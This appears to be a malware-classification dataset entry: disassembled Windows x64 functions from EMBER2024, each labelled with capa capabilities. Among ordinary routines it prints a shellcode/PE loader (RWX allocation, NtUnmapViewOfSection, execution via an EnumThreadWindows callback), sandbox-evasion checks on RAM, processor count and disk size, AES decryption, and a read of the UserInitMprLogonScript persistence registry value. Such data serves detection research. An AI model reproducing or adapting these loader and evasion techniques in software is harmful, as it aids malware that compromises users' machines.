joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b9eb0
Capabilities:
Get system information on windows

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
cmp dword [0x14017c578], 0
jne 0x1400b9f94
xorps xmm0, xmm0
mov word [rbp - 0x79], 2
xor eax, eax
lea rcx, [rbp - 0x79]
movups xmmword [rbp - 0x77], xmm0
mov dword [rbp + 0x19], eax
movups xmmword [rbp - 0x67], xmm0
mov word [rbp + 0x1d], ax
movups xmmword [rbp - 0x57], xmm0
movups xmmword [rbp - 0x47], xmm0
movups xmmword [rbp - 0x37], xmm0
movups xmmword [rbp - 0x27], xmm0
movups xmmword [rbp - 0x17], xmm0
movups xmmword [rbp - 7], xmm0
movups xmmword [rbp + 9], xmm0
call fcn.1400b9280
lea rcx, [rbp + 0x27]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movaps xmm0, xmmword [rbp - 0x79]
movaps xmm1, xmmword [rbp - 0x69]
mov eax, dword [rbp + 0x47]
movaps xmmword [0x14017c4e0], xmm0
movaps xmmword [0x14017c4f0], xmm1
movaps xmm1, xmmword [rbp - 0x49]
movaps xmmword [0x14017c510], xmm1
movaps xmm1, xmmword [rbp - 0x29]
movaps xmmword [0x14017c530], xmm1
movaps xmm1, xmmword [rbp - 9]
mov dword [rbp - 0x59], eax
movaps xmm0, xmmword [rbp - 0x59]
movaps xmmword [0x14017c500], xmm0
movaps xmm0, xmmword [rbp - 0x39]
movaps xmmword [0x14017c520], xmm0
movaps xmm0, xmmword [rbp - 0x19]
movaps xmmword [0x14017c540], xmm0
movaps xmm0, xmmword [rbp + 7]
movaps xmmword [0x14017c550], xmm1
movsd xmm1, qword [rbp + 0x17]
movaps xmmword [0x14017c560], xmm0
movsd qword [0x14017c570], xmm1
mov dword [0x14017c578], 1
lea rax, [0x14017c4e0]
add rsp, 0xf0
pop rbp
ret

Function at 0x1400ba1f0
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
mov eax, dword [0x14017c57c]
nop
test eax, eax
jne 0x1400ba257
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x24]
dec eax
mov ecx, eax
shr ecx, 1
or ecx, eax
mov eax, ecx
shr eax, 2
or eax, ecx
mov ecx, eax
shr ecx, 4
or ecx, eax
mov edx, ecx
shr edx, 8
or edx, ecx
mov eax, edx
shr eax, 0x10
or eax, edx
inc eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x64], eax
mov rax, qword [rsp + 0x60]
mov qword [0x14017c580], rax
mov eax, 1
xchg dword [0x14017c57c], eax
mov rax, qword [0x14017c580]
add rsp, 0x58
ret

Function at 0x1400ba3d0
Capabilities:
Encode data using xor

Disassembly:
movzx r9d, r8b
mov rax, rdx
shr rax, 6
mov r10, rcx
lea rax, [rcx + rax*8]
mov r8, 0xffffffffffffffff
movzx ecx, dl
and cl, 0x3f
lea rdx, [r9 - 1]
xor rdx, qword [rax]
shl r8, cl
and r8, rdx
jne 0x1400ba40d
nop
add rax, 8
lea r8, [r9 - 1]
xor r8, qword [rax]
je 0x1400ba400
sub rax, r10
sar rax, 3
bsf rcx, r8
shl rax, 6
add rax, rcx
ret
Function at 0x1400c2554
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400c25d8
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400fecf0]
cmp byte [rcx + rax], 0
je 0x1400c25d8
dec r8
sub rdx, 1
jne 0x1400c25be
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1400c8af4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400892f4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400892f4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400c8c44
cmp rax, 0xffffffffffffffff
je 0x1400c8c44
xor edi, edi
test rbp, rbp
jle 0x1400c8bef
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140081d48
mov rbx, rax
test rax, rax
jne 0x1400c8b7c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400c8be5
mov edx, 0x8000
mov ecx, r14d
call fcn.1400c4c58
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140085374
cmp eax, 0xffffffff
je 0x1400c8bc5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400c8b8c
mov edx, r15d
mov ecx, r14d
call fcn.1400c4c58
jmp 0x1400c8be5
cmp byte [rsi + 0x38], dil
je 0x1400c8bdc
cmp dword [rsi + 0x34], 5
jne 0x1400c8bdc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], send
cmp byte [rsi + 0x30], dil
je 0x1400c8be5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14007e424
jmp 0x1400c8c58
jns 0x1400c8c58
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400892f4
cmp rax, 0xffffffffffffffff
jne 0x1400c8c10
cmp byte [rsi + 0x30], dil
je 0x1400c8c58
mov edi, dword [rsi + 0x2c]
jmp 0x1400c8c58
mov ecx, r14d
call fcn.14008e0f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400c8c58
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, recv
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], send
jmp 0x1400c8c58
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400c8c51
mov eax, dword [rsi + 0x2c]
jmp 0x1400c8c56
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400892f4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1400c8d30
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400c8d58
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400c8d58
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x18000a464
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x750]
sub rsp, 0x850
and qword [rbp + 0x778], 0
mov rdi, rcx
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x800
call fcn.1800409f0
lea r8, [rbp + 0x778]
mov dword [rbp + 0x770], 0x400
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rcx, qword [rbp + 0x778]
lea rax, [rbp + 0x770]
mov qword [rsp + 0x28], rax
lea rdx, str.ProductName
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.18000ecbc
lea rdx, [rbp + 0x780]
lea rcx, [rsp + 0x30]
call fcn.18000eb00
lea rdx, [rbp + 0x788]
mov rbx, rax
lea rcx, [rsp + 0x30]
call fcn.18000eb54
mov r8, qword [rbx]
mov rcx, rdi
mov rdx, qword [rax]
call fcn.180014594
lea rcx, [rsp + 0x30]
call fcn.18000ec34
mov rax, rdi
add rsp, 0x850
pop rdi
pop rbx
pop rbp
ret

Function at 0x18000a544
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x140
mov rdi, rcx
mov ebx, 0x100
mov r8d, ebx
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.1800409f0
mov r8d, ebx
lea rdx, [rsp + 0x40]
lea rcx, str.USERDNSDOMAIN
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.18000ecbc
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x20]
call fcn.18000eb00
lea rdx, [rsp + 0x158]
mov rbx, rax
lea rcx, [rsp + 0x20]
call fcn.18000eb54
mov r8, qword [rbx]
mov rcx, rdi
mov rdx, qword [rax]
call fcn.180014594
lea rcx, [rsp + 0x20]
call fcn.18000ec34
mov rbx, qword [rsp + 0x160]
mov rax, rdi
add rsp, 0x140
pop rdi
ret

Function at 0x18000a5e0
Capabilities:
Get hostname

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rdi, rcx
mov dword [rbp + 0x6f], 0x10
lea rcx, [rbp - 0x19]
lea rdx, [0x18007e350]
call fcn.180004e8c
lea r8, [rbp + 0x6f]
xor ecx, ecx
lea rdx, [rbp + 0x27]
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x18000a677
lea rdx, [rbp + 0x27]
lea rcx, [rbp - 0x39]
call fcn.18000ecbc
lea rdx, [rbp + 0x77]
lea rcx, [rbp - 0x39]
call fcn.18000eb00
lea rdx, [rbp + 0x7f]
mov rbx, rax
lea rcx, [rbp - 0x39]
call fcn.18000eb54
mov r8, qword [rbx]
lea rcx, [rbp + 7]
mov rdx, qword [rax]
call fcn.180014594
lea rdx, [rbp + 7]
mov rcx, rdi
call fcn.180004e4c
lea rcx, [rbp + 7]
call fcn.180004e44
lea rcx, [rbp - 0x39]
call fcn.18000ec34
jmp 0x18000a683
lea rdx, [rbp - 0x19]
mov rcx, rdi
call fcn.180004e4c
lea rcx, [rbp - 0x19]
call fcn.180004e44
mov rax, rdi
add rsp, 0xa0
pop rdi
pop rbx
pop rbp
ret
Function at 0x18000d6bc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rdi, r8
mov rbp, rdx
mov rsi, rcx
test r8, r8
jg 0x18000d6e3
xor eax, eax
jmp 0x18000d7c4
cmp qword [rcx + 0x68], 0
je 0x18000d6f4
call fcn.18000dd90
jmp 0x18000d7c4
mov rbx, rdi
mov qword [rsp + 0x50], rbx
call fcn.18001030c
mov qword [rsp + 0x58], rax
test rax, rax
je 0x18000d74a
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.1800061b8
mov rcx, rsi
mov rbx, qword [rax]
call fcn.180010398
mov rdx, rax
mov r8, rbx
mov rcx, rbp
call fcn.1800052f0
sub qword [rsp + 0x50], rbx
mov edx, ebx
mov rcx, rsi
add rbp, rbx
call fcn.180010adc
mov rbx, qword [rsp + 0x50]
cmp qword [rsi + 0x80], 0
je 0x18000d7be
mov rcx, rsi
call fcn.180010800
mov rbx, qword [rsp + 0x50]
mov r14d, 0xfff
jmp 0x18000d795
mov r9, qword [rsi + 0x80]
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.18004e6a4
mov rbx, qword [rsp + 0x50]
add rbp, rax
sub rbx, rax
mov qword [rsp + 0x50], rbx
cmp rax, r14
jne 0x18000d7be
cmp rbx, r14
ja 0x18000d769
test rbx, rbx
je 0x18000d7be
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, rbp
call fcn.18004e6a4
mov rbx, qword [rsp + 0x50]
sub rbx, rax
sub rdi, rbx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret

Function at 0x180011f60
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rcx + 4], edx
lea r9, [rcx + 8]
mov r8d, 1
mov r10d, 0x270
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, r8d
inc r8
mov dword [r9], edx
lea r9, [r9 + 4]
cmp r8, r10
jb 0x180011f73
mov dword [rcx], r10d
ret

Function at 0x180017030
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov rcx, qword [rcx]
jmp 0x1800170f8
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x270
mov rbx, rcx
jne 0x180017110
call fcn.1800171c4
jmp 0x18001711d
cmp dword [rcx], 0x4e0
jb 0x18001711d
call fcn.180017208
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov ecx, edx
mov eax, dword [rbx + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret

Function at 0x1800170f8
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov rcx, qword [rcx]
jmp 0x1800170f8
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x270
mov rbx, rcx
jne 0x180017110
call fcn.1800171c4
jmp 0x18001711d
cmp dword [rcx], 0x4e0
jb 0x18001711d
call fcn.180017208
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov ecx, edx
mov eax, dword [rbx + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret
Function at 0x1800171c4
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
lea r8, [rcx + 8]
mov r9d, 0x270
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x1800171ce
ret

Function at 0x180017208
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
lea r10, [rcx + 0x9c4]
mov r9, rcx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, eax
lea r10, [r10 + 4]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x18001721f
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, eax
lea r10, [r10 + 4]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x18001726a
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
and dword [r9], ebx
mov rbx, qword [rsp + 8]
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
shr edx, 1
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
ret
Function at 0x180018910
Capabilities:
Accept command line arguments

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax - 0x20], 0
or r9d, 0xffffffff
mov r8, qword [0x18008de10]
xor edx, edx
and qword [rax - 0x28], 0
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, 2
mov ebx, eax
lea ecx, [rax + 1]
movsxd rcx, ecx
call fcn.1800463c0
mov r8, qword [0x18008de10]
or r9d, 0xffffffff
xor edx, edx
mov dword [rsp + 0x28], ebx
mov ecx, 0xfde9
mov qword [0x18008de08], rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword [0x18008de08]
lea rdx, [0x18008de68]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ecx, dword [0x18008de68]
xor esi, esi
mov qword [0x18008de00], rax
lea ebx, [rcx*8]
test ecx, ecx
jle 0x1800189f4
xor edi, edi
and qword [rsp + 0x38], 0
or r9d, 0xffffffff
and qword [rsp + 0x30], 0
xor edx, edx
and dword [rsp + 0x28], 0
mov ecx, 0xfde9
mov r8, qword [rdi + rax]
and qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
inc esi
lea rdi, [rdi + 8]
add ebx, eax
cmp esi, dword [0x18008de68]
jge 0x1800189f4
mov rax, qword [0x18008de00]
jmp 0x1800189af
movsxd rdx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
movsxd rdx, dword [0x18008de68]
xor ebp, ebp
mov qword [0x18008ddf0], rax
lea ecx, [rdx*8]
sub ebx, ecx
lea rsi, [rax + rdx*8]
test edx, edx
jle 0x180018a74
xor edi, edi
and qword [rsp + 0x38], 0
or r9d, 0xffffffff
mov r8, qword [0x18008de00]
xor edx, edx
and qword [rsp + 0x30], 0
mov ecx, 0xfde9
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r8, qword [rdi + r8]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [0x18008ddf0]
inc ebp
sub ebx, eax
mov qword [rdi + rcx], rsi
lea rdi, [rdi + 8]
movsxd rcx, eax
add rsi, rcx
cmp ebp, dword [0x18008de68]
jl 0x180018a22
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov dword [0x18008ddf8], 1
add rsp, 0x40
pop rdi
ret

Function at 0x180018a94
Capabilities:
Parse pe header

Disassembly:
xor edx, edx
test rcx, rcx
je 0x180018ac0
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180018ac0
cmp dword [rcx + 0x3c], 0x400
jg 0x180018ac0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
cmovne rax, rdx
ret
xor eax, eax
ret
Function at 0x180018dd8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
call fcn.180018910
mov rcx, r14
call fcn.180018a94
xor esi, esi
mov rdi, rax
test rax, rax
je 0x180018f00
lea edx, [rsi + 5]
call fcn.180018ac4
mov rbx, qword [rdi + 0x30]
lea rcx, [0x180080580]
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rdi + 0x30]
or rcx, 0xffffffffffffffff
call rax
mov edx, dword [rdi + 0x50]
lea r9d, [rsi + 0x40]
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180018e89
test rbp, rbp
je 0x180018f00
mov edx, dword [rdi + 0x50]
lea r9d, [rsi + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x180018f00
mov r8d, dword [rdi + 0x54]
mov rdx, r14
mov rcx, rbx
mov qword [rdi + 0x30], rbx
call fcn.1800401a0
cmp si, word [rdi + 6]
jae 0x180018ecc
lea rbp, [rdi + 0x11c]
mov edx, dword [rbp]
mov ecx, dword [rbp - 8]
add rdx, r14
mov r8d, dword [rbp - 4]
add rcx, rbx
call fcn.1800401a0
movzx eax, word [rdi + 6]
lea rbp, [rbp + 0x28]
inc esi
cmp esi, eax
jl 0x180018ea9
mov rcx, rbx
call fcn.180018af8
mov edx, dword [rdi + 0x28]
xor r8d, r8d
add rdx, rbx
xor ecx, ecx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.USER32.dll_EnumThreadWindows]
xor ecx, ecx
call fcn.18004f72c
int3

Function at 0x180018f08
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
xor edx, edx
mov dword [rsp + 0x20], 0x238
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x20]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x180018f6a
mov rdx, rsi
lea rcx, [rsp + 0x4c]
call fcn.18004ba84
test eax, eax
je 0x180018f68
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x180018f43
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x260]
mov al, bl
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x180018f8c
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
mov rax, rsp
sub rsp, 0xa8
movaps xmmword [rax - 0x18], xmm6
mov dword [rax - 0x58], 0x40
lea rcx, [rax - 0x58]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rcx, qword [rsp + 0x58]
xorps xmm6, xmm6
test rcx, rcx
js 0x180018fbf
cvtsi2sd xmm6, rcx
jmp 0x180018fd4
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm6, rax
addsd xmm6, xmm6
call fcn.180019494
divsd xmm6, xmm0
movsd xmm1, qword [0x180080a38]
comisd xmm1, xmm6
jbe 0x18001900a
lea rdx, str.RAM_is_less.
lea rcx, [0x18008c050]
call fcn.180005418
mov rcx, rax
call fcn.180004c9c
xor al, al
jmp 0x180019041
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x40], 4
jae 0x18001903b
lea rdx, str.Processors_count_is_less.
lea rcx, [0x18008c050]
call fcn.180005418
mov rcx, rax
call fcn.180004c9c
xor al, al
jmp 0x180019041
mov al, 1
jmp 0x180019041
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
ret

Function at 0x180019268
Capabilities:
Get disk size

Disassembly:
sub rsp, 0x38
xor r9d, r9d
movaps xmmword [rsp + 0x20], xmm6
xor r8d, r8d
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov rcx, qword [rsp + 0x40]
xorps xmm6, xmm6
test rcx, rcx
js 0x180019298
cvtsi2sd xmm6, rcx
jmp 0x1800192ad
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2sd xmm6, rax
addsd xmm6, xmm6
mulsd xmm6, qword [0x180080a28]
movsd xmm0, qword [0x180080a40]
comisd xmm0, xmm6
jbe 0x1800192c7
xor al, al
jmp 0x1800192fe
lea rdx, str.HDD_Size:
lea rcx, [0x18008c050]
call fcn.180005418
mov rcx, rax
movaps xmm1, xmm6
call fcn.180019334
mov rcx, rax
lea rdx, [0x1800809d0]
call fcn.180005418
mov rcx, rax
call fcn.180004c9c
mov al, 1
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x1800196a0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov dword [rax + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, r9d
mov dword [rax - 0x38], 0xf0000000
mov rdi, r8
mov rsi, rcx
mov r9d, 0x18
lea rcx, [rbp - 0x20]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x18001978f
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x18]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x18001978f
mov rcx, qword [rbp - 0x18]
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x18001978f
mov r8, qword [rbp - 0x18]
lea rax, [rbp - 0x10]
mov rcx, qword [rbp - 0x20]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x18001978f
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x18]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x18001978f
mov rcx, qword [rbp - 0x20]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov al, 1
jmp 0x180019791
xor al, al
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret
Function at 0x180019920
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov eax, dword [0x180080a00]
mov edi, 0x400
movsd xmm0, qword [str.Environment]
mov rbx, rcx
mov dword [rbp + 0xf], eax
mov eax, dword [0x180080a18]
mov dword [rbp + 0x27], eax
movzx eax, word [0x180080a1c]
movsd qword [rbp + 7], xmm0
movups xmm0, xmmword [str.UserInitMprLogonScript]
mov word [rbp + 0x2b], ax
mov al, byte [0x180080a1e]
mov byte [rbp + 0x2d], al
movups xmmword [rbp + 0x17], xmm0
mov dword [rbp + 0x6f], edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x1800199ae
xor edx, edx
mov rcx, rbx
call fcn.180004e8c
jmp 0x180019a81
lea rax, [rbp + 0x6f]
mov r9d, 2
mov qword [rsp + 0x30], rax
lea r8, [rbp + 0x17]
mov qword [rsp + 0x28], rdi
lea rdx, [rbp + 7]
and qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x1800199f7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18001999f
xor ecx, ecx
cmp byte [rdi], cl
je 0x180019a0a
mov rax, rdi
inc rax
inc ecx
cmp byte [rax], 0
jne 0x180019a00
movsxd r8, ecx
mov rdx, rdi
add r8, rdi
lea rcx, [rbp + 0x2f]
call fcn.180016464
xor r8d, r8d
lea rdx, [0x180080a20]
lea rcx, [rbp + 0x2f]
call fcn.18000ede8
xor r8d, r8d
lea rdx, str..dll
lea rcx, [rbp + 0x2f]
mov rdi, rax
